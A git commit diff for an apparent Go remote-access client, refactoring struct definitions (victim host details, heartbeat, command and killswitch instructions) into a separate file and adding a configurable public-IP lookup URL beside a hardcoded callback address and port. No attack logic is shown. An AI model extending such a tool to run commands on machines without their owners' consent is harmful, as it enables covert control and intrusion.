Re-organize codebase and allow modifying remote IP source

This commit is contained in:
raul 2024-06-10 09:34:52 +02:00
parent 26d86a26a2
commit 478a300174
2 changed files with 26 additions and 24 deletions

23
main.go
View File

@ -15,31 +15,10 @@ import (
"time"
)
type Client struct {
Username string
UID string
GID string
OperatingSystem string
Hostname string
PublicIP string
LocalIP string
}
type Instructions struct {
IsHeartbeat bool
IsCommand bool
IsKillswitch bool
Message string
}
type Response struct {
Successful bool
Message string
}
var (
RemoteIP = "192.168.1.181"
RemotePort = "1302"
Remote_IP_Requester = "https://ip.bulgariu.xyz"
)
func main() {

23
structs.go Normal file
View File

@ -0,0 +1,23 @@
package main
type Client struct {
Username string
UID string
GID string
OperatingSystem string
Hostname string
PublicIP string
LocalIP string
}
type Instructions struct {
IsHeartbeat bool
IsCommand bool
IsKillswitch bool
Message string
}
type Response struct {
Successful bool
Message string
}